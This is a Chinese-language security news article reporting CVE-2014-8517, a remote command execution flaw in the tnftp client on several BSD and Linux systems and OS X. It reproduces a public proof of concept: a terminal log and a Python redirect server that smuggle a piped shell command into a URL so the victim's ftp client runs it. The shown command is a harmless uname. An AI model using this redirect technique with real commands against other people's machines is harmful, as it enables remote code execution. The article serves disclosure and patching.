10月28日，一份公開的郵件中曝出FTP遠程執(zhí)行命令漏洞，漏洞影響到的Unix系統(tǒng)包括：Fedora, Debian, NetBSD, FreeBSD, OpenBSD, 甚至影響到了蘋果的OS X操作系統(tǒng)的***版本Yosemite 10.10。

NetBSD的一位開發(fā)人員(Jared McNeill)證實了這個漏洞可以通過tnftp從WEB服務器遠程執(zhí)行惡意命令，并且此漏洞已被編號為CVE-2014-8517 ：

    a20$ pwd
     /var/www/cgi-bin
     a20$ ls -l
     total 4
     -rwxr-xr-x  1 root  wheel  159 Oct 14 02:02 redirect
     -rwxr-xr-x  1 root  wheel  178 Oct 14 01:54 |uname -a
     a20$ cat redirect
     #!/bin/sh
     echo 'Status: 302 Found'
     echo 'Content-Type: text/html'
     echo 'Connection: keep-alive'
     echo 'Location: 
     echo
     a20$
   a20$ ftp http://localhost/cgi-bin/redirect
   Trying ::1:80 ...
   ftp: Can't connect to `::1:80': Connection refused
   Trying 127.0.0.1:80 ...
   Requesting http://localhost/cgi-bin/redirect
   Redirected to http://192.168.2.19/cgi-bin/|uname%20-a
   Requesting http://192.168.2.19/cgi-bin/|uname%20-a
       32      101.46 KiB/s
   32 bytes retrieved in 00:00 (78.51 KiB/s)
   NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36
   ADT 2014
   Jared () Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
   BOARD evbarm
   a20$

漏洞影響范圍及公告

Debian, Red Hat, Gentoo, Novell (SuSE Linux), DragonFly, FreeBSD, OpenBSD, and Apple等系統(tǒng)開發(fā)商已經(jīng)意識到了此漏洞的危害，其中Debian, Red Hat, Gnetoo and Novell已經(jīng)發(fā)出了漏洞公告：

漏洞檢測腳本(請勿用于非法用途)

And you should see the command executed.
All wrongs reversed - @stevelord
"""
import BaseHTTPServer
import sys
import socket
import urllib
hostname = socket.getfqdn() # Set this to your IP if you have no FQDN
port = 8000 # Set this to the port you want to run this on
cmd = "uname -a; echo You probably shouldnt execute random code from the Internet. Just saying."
cmd = urllib.quote(cmd)
redir = "http://" + hostname + ":" + str(port) + "/cgi-bin/|" + cmd
class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
 def do_GET(s):
  if cmd in s.path:
   s.send_response(200)
   s.end_headers()
  else:
   s.send_response(302)
   s.send_header("Location", redir)
   s.end_headers()
if __name__ == "__main__":
 print "redirecting to,", redir
 server_class = BaseHTTPServer.HTTPServer
 httpd = server_class((hostname, port), RedirectHandler)
 try:
  httpd.serve_forever()
  print "Started serving."
 except KeyboardInterrupt:
  pass
 httpd.server_close()
 print "\nStopped serving."

解決方案和更詳細的內(nèi)容參見：

http://seclists.org/oss-sec/2014/q4/459 http://seclists.org/oss-sec/2014/q4/464

http://seclists.org/oss-sec/2014/q4/460

參考信息來源：http://www.securityweek.com/nix-systems-affected-ftp-remote-command-execution-vulnerability